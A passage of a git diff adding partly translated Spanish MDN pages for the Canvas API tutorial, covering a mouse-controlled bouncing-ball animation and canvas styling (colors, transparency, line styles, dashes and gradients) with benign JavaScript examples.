+ctx.fillRect(0, 0, canvas.width, canvas.height);</pre>
+
+<div class="hidden">
+<h6 id="Third_demo">Third demo</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+  ctx.fillRect(0, 0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  ball.vy *= .99;
+  ball.vy += .25;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Third_demo", "610", "310")}}</p>
+
+<h2 id="Agregar_control_de_ratón">Agregar control de ratón</h2>
+
+<p>Para controlar la bola, podemos hacerla seguir nuestro ratón usando el evento <code><a href="/en-US/docs/Web/Reference/Events/mousemove">mousemove</a></code>, por ejemplo. El evento <code><a href="/en-US/docs/Web/Events/click">click</a></code> solta la bola y la deja rebotar de nuevo.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+var running = false;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 1,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function clear() {
+  ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+  ctx.fillRect(0,0,canvas.width,canvas.height);
+}
+
+function draw() {
+  clear();
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mousemove', function(e) {
+  if (!running) {
+    clear();
+    ball.x = e.clientX;
+    ball.y = e.clientY;
+    ball.draw();
+  }
+});
+
+canvas.addEventListener('click', function(e) {
+  if (!running) {
+    raf = window.requestAnimationFrame(draw);
+    running = true;
+  }
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+  running = false;
+});
+
+ball.draw();
+</pre>
+
+<p>Mueve la bola usando el ratón y suéltala haciendo click.</p>
+
+<p>{{EmbedLiveSample("Adding_mouse_control", "610", "310")}}</p>
+
+<h2 id="Breakout">Breakout</h2>
+
+<p>Este capítulo corto sólo explica algunas técnicas para crear animaciones más avanzadas. ¡Hay muchos más!  ¿Qué tal agregar una raqueta, algunos ladrillos, y convertir esta demo en un partido <a href="http://en.wikipedia.org/wiki/Breakout_%28video_game%29">Breakout</a>? Visita nuestra área de <a href="/en-US/docs/Games">Game development</a> para mayor información.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{domxref("window.requestAnimationFrame()")}}</li>
+ <li><a href="/en-US/docs/Games/Techniques/Efficient_animation_for_web_games">Efficient animation for web games</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</p>
diff --git a/files/es/web/guide/html/canvas_tutorial/applying_styles_and_colors/index.html b/files/es/web/guide/html/canvas_tutorial/applying_styles_and_colors/index.html
new file mode 100644
index 0000000000..ab76918132
--- /dev/null
+++ b/files/es/web/guide/html/canvas_tutorial/applying_styles_and_colors/index.html
@@ -0,0 +1,726 @@
+---
+title: Applying styles and colors
+slug: Web/Guide/HTML/Canvas_tutorial/Applying_styles_and_colors
+translation_of: Web/API/Canvas_API/Tutorial/Applying_styles_and_colors
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}</div>
+
+<div class="summary">
+<p>En el capítulo acerca de dibujar formas, usamos unicamente los estilos de linea y de relleno por defecto. Aqui exploraremos las opciones del canvas que tenemos a nuestra disposición para hacer los dibujos un tanto más atractivos. Aprenderas como agregar diferentes colores, estilos de linea, gradiantes, patrones y sombras a tus dibujos.</p>
+</div>
+
+<h2 id="Colors" name="Colors">Colors</h2>
+
+<p>Hasta ahrora nosotros solo me hemos visto metodos en el contexto de dibujo. Si quisieramos aplicar colores a las formas, hay dos importantes propiedades que podemos usar: <code>fillStyle</code> y <code>strokeStyle</code>.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle = color")}}</dt>
+ <dd>Configura el estilo cuando se rellenan las formas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle = color")}}</dt>
+ <dd>Configura el estilo al contorno perimetral de las formas.</dd>
+</dl>
+
+<p><code>color</code> es una cadena que representa  un CSS {{cssxref("&lt;color&gt;")}}, un objeto gradiante, o un objeto patron. Miraremos en objetos de gradientes y patrones mas tarde. Por defecto, el color del trazo y del relleno son configurados en negro (valor de color CSS <code>#000000</code>).</p>
+
+<div class="note">
+<p><strong>Nota: </strong> Cuando configuras la propiedad  <code>strokeStyle</code> y/o <code>fillStyle</code>, el nuevo valor llega a ser el vador por defecto para los dibujos posteriores. Para cada forma que tu quieras en un color difrente, necesitaras reasignar las propiedades anteriores.</p>
+</div>
+
+<p>Las cadenas validas que tu pueden entrar deberian, segun la especificación, ser valores de  {{cssxref("&lt;color&gt;")}} CSS. En el siguiente ejemplo, describimos en mismo color.</p>
+
+<pre class="brush: js">// these all set the fillStyle to 'orange'
+
+ctx.fillStyle = 'orange';
+ctx.fillStyle = '#FFA500';
+ctx.fillStyle = 'rgb(255, 165, 0)';
+ctx.fillStyle = 'rgba(255, 165, 0, 1)';
+</pre>
+
+<h3 id="A_fillStyle_example" name="A_fillStyle_example">A <code>fillStyle</code> example</h3>
+
+<p>En este ejemplo, usamos dos bucles for para dibujar una cuadrícula de rectangulos, cada uno de diferente color. La imagen resultante deberia ser similar a la de la screenhot. No hay nada demasiado espectacular en el proceso. Usamos dos variables i y j para generar un unico color RGB para cada celda cuadrada, modificando las componentes rojo y verde. El canal azul tiene un valor fijo. Modificando los canales, puedes generar todo tipo de paletas. Incrementando los paos, puedes lograr algo similar que se parezca a las paletas de colores que Photoshop usa.</p>
+
+<pre class="brush: js;highlight[5,6]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i &lt; 6; i++) {
+    for (var j = 0; j &lt; 6; j++) {
+      ctx.fillStyle = 'rgb(' + Math.floor(255 - 42.5 * i) + ', ' +
+                       Math.floor(255 - 42.5 * j) + ', 0)';
+      ctx.fillRect(j * 25, i * 25, 25, 25);
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>The result looks like this:</p>
+
+<p>{{EmbedLiveSample("A_fillStyle_example", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}</p>
+
+<h3 id="A_strokeStyle_example" name="A_strokeStyle_example">A <code>strokeStyle</code> example</h3>
+
+<p>Este ejemplo es similar al de arriba, pero usa la propiedad  <code>strokeStyle</code> para cambiar el color del contorno de las formas. Usamos el método  <code>arc()</code> para dibujar circulos en lugar de celdas cuadradas.</p>
+
+<pre class="brush: js;highlight[5,6]">  function draw() {
+    var ctx = document.getElementById('canvas').getContext('2d');
+    for (var i = 0; i &lt; 6; i++) {
+      for (var j = 0; j &lt; 6; j++) {
+        ctx.strokeStyle = 'rgb(0, ' + Math.floor(255 - 42.5 * i) + ', ' +
+                         Math.floor(255 - 42.5 * j) + ')';
+        ctx.beginPath();
+        ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true);
+        ctx.stroke();
+      }
+    }
+  }
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>The result looks like this:</p>
+
+<p>{{EmbedLiveSample("A_strokeStyle_example", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}</p>
+
+<h2 id="Transparency" name="Transparency">Transparency</h2>
+
+<p>Ademas de dibujar formas opacas en el canvas, podemos dibujar formas semi-transparentes(o translucidas). Esto se logra bien configurando la propiedad  <code>globalAlpha</code> o asignando un color semi-transparente al estilo del trazo u  u/y al de relleno.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha = transparencyValue")}}</dt>
+ <dd>Applies the specified transparency value to all future shapes drawn on the canvas. The value must be between 0.0 (fully transparent) to 1.0 (fully opaque). This value is 1.0 (fully opaque) by default.</dd>
+</dl>
+
+<p>The <code>globalAlpha</code> property can be useful if you want to draw a lot of shapes on the canvas with similar transparency, but otherwise it's generally more useful to set the transparency on individual shapes when setting their colors.</p>
+
+<p>Debido qaque las propiedades  <code>strokeStyle</code> y <code>fillStyle</code> aceptan valores de color rgba de CSS, podemos usar la siguiente notacion para asignar una color transparente a ellos.</p>
+
+<pre class="brush: js">// Assigning transparent colors to stroke and fill style
+
+ctx.strokeStyle = 'rgba(255, 0, 0, 0.5)';
+ctx.fillStyle = 'rgba(255, 0, 0, 0.5)';
+</pre>
+
+<p>The <code>rgba()</code> function is similar to the <code>rgb()</code> function but it has one extra parameter. The last parameter sets the transparency value of this particular color. The valid range is again between 0.0 (fully transparent) and 1.0 (fully opaque).</p>
+
+<h3 id="A_globalAlpha_example" name="A_globalAlpha_example">A <code>globalAlpha</code> example</h3>
+
+<p>In this example, we'll draw a background of four different colored squares. On top of these, we'll draw a set of semi-transparent circles. The <code>globalAlpha</code> property is set at <code>0.2</code> which will be used for all shapes from that point on. Every step in the <code>for</code> loop draws a set of circles with an increasing radius. The final result is a radial gradient. By overlaying ever more circles on top of each other, we effectively reduce the transparency of the circles that have already been drawn. By increasing the step count and in effect drawing more circles, the background would completely disappear from the center of the image.</p>
+
+<pre class="brush: js;highlight[15]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  // draw background
+  ctx.fillStyle = '#FD0';
+  ctx.fillRect(0, 0, 75, 75);
+  ctx.fillStyle = '#6C0';
+  ctx.fillRect(75, 0, 75, 75);
+  ctx.fillStyle = '#09F';
+  ctx.fillRect(0, 75, 75, 75);
+  ctx.fillStyle = '#F30';
+  ctx.fillRect(75, 75, 75, 75);
+  ctx.fillStyle = '#FFF';
+
+  // set transparency value
+  ctx.globalAlpha = 0.2;
+
+  // Draw semi transparent circles
+  for (var i = 0; i &lt; 7; i++) {
+    ctx.beginPath();
+    ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true);
+    ctx.fill();
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_globalAlpha_example", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}</p>
+
+<h3 id="An_example_using_rgba" name="An_example_using_rgba()">An example using <code>rgba()</code></h3>
+
+<p>In this second example, we do something similar to the one above, but instead of drawing circles on top of each other, I've drawn small rectangles with increasing opacity. Using <code>rgba()</code> gives you a little more control and flexibility because we can set the fill and stroke style individually.</p>
+
+<pre class="brush: js;highlight[16]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Draw background
+  ctx.fillStyle = 'rgb(255, 221, 0)';
+  ctx.fillRect(0, 0, 150, 37.5);
+  ctx.fillStyle = 'rgb(102, 204, 0)';
+  ctx.fillRect(0, 37.5, 150, 37.5);
+  ctx.fillStyle = 'rgb(0, 153, 255)';
+  ctx.fillRect(0, 75, 150, 37.5);
+  ctx.fillStyle = 'rgb(255, 51, 0)';
+  ctx.fillRect(0, 112.5, 150, 37.5);
+
+  // Draw semi transparent rectangles
+  for (var i = 0; i &lt; 10; i++) {
+    ctx.fillStyle = 'rgba(255, 255, 255, ' + (i + 1) / 10 + ')';
+    for (var j = 0; j &lt; 4; j++) {
+      ctx.fillRect(5 + i * 14, 5 + j * 37.5, 14, 27.5);
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("An_example_using_rgba()", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}</p>
+
+<h2 id="Line_styles" name="Line_styles">Line styles</h2>
+
+<p>There are several properties which allow us to style lines.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth = value")}}</dt>
+ <dd>Sets the width of lines drawn in the future.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineCap", "lineCap = type")}}</dt>
+ <dd>Sets the appearance of the ends of lines.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin = type")}}</dt>
+ <dd>Sets the appearance of the "corners" where lines meet.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}</dt>
+ <dd>Establishes a limit on the miter when two lines join at a sharp angle, to let you control how thick the junction becomes.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}</dt>
+ <dd>Returns the current line dash pattern array containing an even number of non-negative numbers.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}</dt>
+ <dd>Sets the current line dash pattern.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}</dt>
+ <dd>Specifies where to start a dash array on a line.</dd>
+</dl>
+
+<p>You'll get a better understanding of what these do by looking at the examples below.</p>
+
+<h3 id="A_lineWidth_example" name="A_lineWidth_example">A <code>lineWidth</code> example</h3>
+
+<p>This property sets the current line thickness. Values must be positive numbers. By default this value is set to 1.0 units.</p>
+
+<p>The line width is the thickness of the stroke centered on the given path. In other words, the area that's drawn extends to half the line width on either side of the path. Because canvas coordinates do not directly reference pixels, special care must be taken to obtain crisp horizontal and vertical lines.</p>
+
+<p>In the example below, 10 straight lines are drawn with increasing line widths. The line on the far left is 1.0 units wide. However, the leftmost and all other odd-integer-width thickness lines do not appear crisp, because of the path's positioning.</p>
+
+<pre class="brush: js;highlight[4]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i &lt; 10; i++) {
+    ctx.lineWidth = 1 + i;
+    ctx.beginPath();
+    ctx.moveTo(5 + i * 14, 5);
+    ctx.lineTo(5 + i * 14, 140);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineWidth_example", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}</p>
+
+<p>Obtaining crisp lines requires understanding how paths are stroked. In the images below, the grid represents the canvas coordinate grid. The squares between gridlines are actual on-screen pixels. In the first grid image below, a rectangle from (2,1) to (5,5) is filled. The entire area between them (light red) falls on pixel boundaries, so the resulting filled rectangle will have crisp edges.</p>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/201/Canvas-grid.png"></p>
+
+<p>If you consider a path from (3,1) to (3,5) with a line thickness of <code>1.0</code>, you end up with the situation in the second image. The actual area to be filled (dark blue) only extends halfway into the pixels on either side of the path. An approximation of this has to be rendered, which means that those pixels being only partially shaded, and results in the entire area (the light blue and dark blue) being filled in with a color only half as dark as the actual stroke color. This is what happens with the <code>1.0</code> width line in the previous example code.</p>
+
+<p>To fix this, you have to be very precise in your path creation. Knowing that a <code>1.0</code> width line will extend half a unit to either side of the path, creating the path from (3.5,1) to (3.5,5) results in the situation in the third image—the <code>1.0</code> line width ends up completely and precisely filling a single pixel vertical line.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Be aware that in our vertical line example, the Y position still referenced an integer gridline position—if it hadn't, we would see pixels with half coverage at the endpoints (but note also that this behavior depends on the current <code>lineCap</code> style whose default value is <code>butt</code>; you may want to compute consistent strokes with half-pixel coordinates for odd-width lines, by setting the <code>lineCap</code> style to <code>square</code>, so that the outer border of the stroke around the endpoint will be automatically extended to cover the whole pixel exactly).</p>
+
+<p>Note also that only start and final endpoints of a path are affected: if a path is closed with <code>closePath()</code>, there's no start and final endpoint; instead, all endpoints in the path are connected to their attached previous and next segment using the current setting of the <code>lineJoin</code> style, whose default value is <code>miter</code>, with the effect of automatically extending the outer borders of the connected segments to their intersection point, so that the rendered stroke will exactly cover full pixels centered at each endpoint if those connected segments are horizontal and/or vertical). See the next two sections for demonstrations of these additional line styles.</p>
+</div>
+
+<p>For even-width lines, each half ends up being an integer amount of pixels, so you want a path that is between pixels (that is, (3,1) to (3,5)), instead of down the middle of pixels.</p>
+
+<p>While slightly painful when initially working with scalable 2D graphics, paying attention to the pixel grid and the position of paths ensures that your drawings will look correct regardless of scaling or any other transformations involved. A 1.0-width vertical line drawn at the correct position will become a crisp 2-pixel line when scaled up by 2, and will appear at the correct position.</p>
+
+<h3 id="A_lineCap_example" name="A_lineCap_example">A <code>lineCap</code> example</h3>
+
+<p>The <code>lineCap</code> property determines how the end points of every line are drawn. There are three possible values for this property and those are: <code>butt</code>, <code>round</code> and <code>square</code>. By default this property is set to <code>butt</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/236/Canvas_linecap.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>butt</code></dt>
+ <dd>The ends of lines are squared off at the endpoints.</dd>
+ <dt><code>round</code></dt>
+ <dd>The ends of lines are rounded.</dd>
+ <dt><code>square</code></dt>
+ <dd>The ends of lines are squared off by adding a box with an equal width and half the height of the line's thickness.</dd>
+</dl>
+
+<p>In this example, we'll draw three lines, each with a different value for the <code>lineCap</code> property. I also added two guides to see the exact differences between the three. Each of these lines starts and ends exactly on these guides.</p>
+
+<p>The line on the left uses the default <code>butt</code> option. You'll notice that it's drawn completely flush with the guides. The second is set to use the <code>round</code> option. This adds a semicircle to the end that has a radius half the width of the line. The line on the right uses the <code>square</code> option. This adds a box with an equal width and half the height of the line thickness.</p>
+
+<pre class="brush: js;highlight[18]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineCap = ['butt', 'round', 'square'];
+
+  // Draw guides
+  ctx.strokeStyle = '#09f';
+  ctx.beginPath();
+  ctx.moveTo(10, 10);
+  ctx.lineTo(140, 10);
+  ctx.moveTo(10, 140);
+  ctx.lineTo(140, 140);
+  ctx.stroke();
+
+  // Draw lines
+  ctx.strokeStyle = 'black';
+  for (var i = 0; i &lt; lineCap.length; i++) {
+    ctx.lineWidth = 15;
+    ctx.lineCap = lineCap[i];
+    ctx.beginPath();
+    ctx.moveTo(25 + i * 50, 10);
+    ctx.lineTo(25 + i * 50, 140);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineCap_example", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p>
+
+<h3 id="A_lineJoin_example" name="A_lineJoin_example">A <code>lineJoin</code> example</h3>
+
+<p>The <code>lineJoin</code> property determines how two connecting segments (of lines, arcs or curves) with non-zero lengths in a shape are joined together (degenerate segments with zero lengths, whose specified endpoints and control points are exactly at the same position, are skipped).</p>
+
+<p>There are three possible values for this property: <code>round</code>, <code>bevel</code> and <code>miter</code>. By default this property is set to <code>miter</code>. Note that the <code>lineJoin</code> setting has no effect if the two connected segments have the same direction, because no joining area will be added in this case.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/237/Canvas_linejoin.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>round</code></dt>
+ <dd>Rounds off the corners of a shape by filling an additional sector of disc centered at the common endpoint of connected segments. The radius for these rounded corners is equal to half the line width.</dd>
+ <dt><code>bevel</code></dt>
+ <dd>Fills an additional triangular area between the common endpoint of connected segments, and the separate outside rectangular corners of each segment.</dd>
+ <dt><code>miter</code></dt>
+ <dd>Connected segments are joined by extending their outside edges to connect at a single point, with the effect of filling an additional lozenge-shaped area. This setting is effected by the <code>miterLimit</code> property which is explained below.</dd>
+</dl>
+
+<p>The example below draws three different paths, demonstrating each of these three <code>lineJoin</code> property settings; the output is shown above.</p>
+
+<pre class="brush: js;highlight[6]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineJoin = ['round', 'bevel', 'miter'];
+  ctx.lineWidth = 10;
+  for (var i = 0; i &lt; lineJoin.length; i++) {
+    ctx.lineJoin = lineJoin[i];
+    ctx.beginPath();
+    ctx.moveTo(-5, 5 + i * 40);
+    ctx.lineTo(35, 45 + i * 40);
+    ctx.lineTo(75, 5 + i * 40);
+    ctx.lineTo(115, 45 + i * 40);
+    ctx.lineTo(155, 5 + i * 40);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineJoin_example", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}</p>
+
+<h3 id="A_demo_of_the_miterLimit_property" name="A_demo_of_the_miterLimit_property">A demo of the <code>miterLimit</code> property</h3>
+
+<p>As you've seen in the previous example, when joining two lines with the <code>miter</code> option, the outside edges of the two joining lines are extended up to the point where they meet. For lines which are at large angles with each other, this point is not far from the inside connection point. However, as the angles between each line decreases, the distance (miter length) between these points increases exponentially.</p>
+
+<p>The <code>miterLimit</code> property determines how far the outside connection point can be placed from the inside connection point. If two lines exceed this value, a bevel join gets drawn instead. Note that the maximum miter length is the product of the line width measured in the current coordinate system, by the value of this <code>miterLimit</code> property (whose default value is 10.0 in the HTML {{HTMLElement("canvas")}}), so the <code>miterLimit</code> can be set independently from the current display scale or any affine transforms of paths: it only influences the effectively rendered shape of line edges.</p>
+
+<p>More exactly, the miter limit is the maximum allowed ratio of the extension length (in the HTML canvas, it is measured between the outside corner of the joined edges of the line and the common endpoint of connecting segments specified in the path) to half the line width. It can equivalently be defined as the maximum allowed ratio of the distance between the inside and outside points of jonction of edges, to the total line width. It is then equal to the cosecant of half the minimum inner angle of connecting segments below which no miter join will be rendered, but only a bevel join:</p>
+
+<ul>
+ <li><code>miterLimit</code> = <strong>max</strong> <code>miterLength</code> / <code>lineWidth</code> = 1 / <strong>sin</strong> ( <strong>min</strong> <em>θ</em> / 2 )</li>
+ <li>The default miter limit of 10.0 will strip all miters for sharp angles below about 11 degrees.</li>
+ <li>A miter limit equal to √2 ≈ 1.4142136 (rounded up) will strip miters for all acute angles, keeping miter joins only for obtuse or right angles.</li>
+ <li>A miter limit equal to 1.0 is valid but will disable all miters.</li>
+ <li>Values below 1.0 are invalid for the miter limit.</li>
+</ul>
+
+<p>Here's a little demo in which you can set <code>miterLimit</code> dynamically and see how this effects the shapes on the canvas. The blue lines show where the start and endpoints for each of the lines in the zig-zag pattern are.</p>
+
+<p>If you specify a <code>miterLimit</code> value below 4.2 in this demo, none of the visible corners will join with a miter extension, but only with a small bevel near the blue lines; with a <code>miterLimit</code> above 10, most corners in this demo should join with a miter far away from the blue lines, and whose height is decreasing between corners from left to right because they connect with growing angles; with intermediate values, the corners on the left side will only join with a bevel near the blue lines, and the corners on the right side with a miter extension (also with a decreasing height).</p>
+
+<pre class="brush: js;highlight[18]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Clear canvas
+  ctx.clearRect(0, 0, 150, 150);
+
+  // Draw guides
+  ctx.strokeStyle = '#09f';
+  ctx.lineWidth   = 2;
+  ctx.strokeRect(-5, 50, 160, 50);
+
+  // Set line styles
+  ctx.strokeStyle = '#000';
+  ctx.lineWidth = 10;
+
+  // check input
+  if (document.getElementById('miterLimit').value.match(/\d+(\.\d+)?/)) {
+    ctx.miterLimit = parseFloat(document.getElementById('miterLimit').value);
+  } else {
+    alert('Value must be a positive number');
+  }
+
+  // Draw lines
+  ctx.beginPath();
+  ctx.moveTo(0, 100);
+  for (i = 0; i &lt; 24 ; i++) {
+    var dy = i % 2 == 0 ? 25 : -25;
+    ctx.lineTo(Math.pow(i, 1.5) * 2, 75 + dy);
+  }
+  ctx.stroke();
+  return false;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;&lt;/td&gt;
+    &lt;td&gt;Change the &lt;code&gt;miterLimit&lt;/code&gt; by entering a new value below and clicking the redraw button.&lt;br&gt;&lt;br&gt;
+      &lt;form onsubmit="return draw();"&gt;
+        &lt;label&gt;Miter limit&lt;/label&gt;
+        &lt;input type="number" size="3" id="miterLimit"/&gt;
+        &lt;input type="submit" value="Redraw"/&gt;
+      &lt;/form&gt;
+    &lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<pre class="brush: js">document.getElementById('miterLimit').value = document.getElementById('canvas').getContext('2d').miterLimit;
+draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_demo_of_the_miterLimit_property", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png")}}</p>
+
+<h3 id="Using_line_dashes">Using line dashes</h3>
+
+<p>The <code>setLineDash</code> method and the <code>lineDashOffset</code> property specify the dash pattern for lines. The <code>setLineDash</code> method accepts a list of numbers that specifies distances to alternately draw a line and a gap and the <code>lineDashOffset</code> property sets an offset where to start the pattern.</p>
+
+<p>In this example we are creating a marching ants effect. It is an animation technique often found in <span class="new">selection</span> tools of computer graphics programs. It helps the user to distinguish the selection border from the image background by animating the border. In a later part of this tutorial, you can learn how to do this and other <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">basic animations</a>.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="110" height="110"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js;highlight[6]">var ctx = document.getElementById('canvas').getContext('2d');
+var offset = 0;
+
+function draw() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  ctx.setLineDash([4, 2]);
+  ctx.lineDashOffset = -offset;
+  ctx.strokeRect(10, 10, 100, 100);
+}
+
+function march() {
+  offset++;
+  if (offset &gt; 16) {
+    offset = 0;
+  }
+  draw();
+  setTimeout(march, 20);
+}
+
+march();</pre>
+
+<p>{{EmbedLiveSample("Using_line_dashes", "120", "120", "https://mdn.mozillademos.org/files/9853/marching-ants.png")}}</p>
+
+<h2 id="Gradients" name="Gradients">Gradients</h2>
+
+<p>Just like any normal drawing program, we can fill and stroke shapes using linear and radial gradients. We create a {{domxref("CanvasGradient")}} object by using one of the following methods. We can then assign this object to the <code>fillStyle</code> or <code>strokeStyle</code> properties.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient", "createLinearGradient(x1, y1, x2, y2)")}}</dt>
+ <dd>Creates a linear gradient object with a starting point of (<code>x1</code>, <code>y1</code>) and an end point of (<code>x2</code>, <code>y2</code>).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient", "createRadialGradient(x1, y1, r1, x2, y2, r2)")}}</dt>
+ <dd>Creates a radial gradient. The parameters represent two circles, one with its center at (<code>x1</code>, <code>y1</code>) and a radius of <code>r1</code>, and the other with its center at (<code>x2</code>, <code>y2</code>) with a radius of <code>r2</code>.</dd>
+</dl>
+
+<p>For example:</p>
+
+<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
+var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100);
+</pre>
+
+<p>Once we've created a <code>CanvasGradient</code> object we can assign colors to it by using the <code>addColorStop()</code> method.</p>
+
+<dl>
+ <dt>{{domxref("CanvasGradient.addColorStop", "gradient.addColorStop(position, color)")}}</dt>
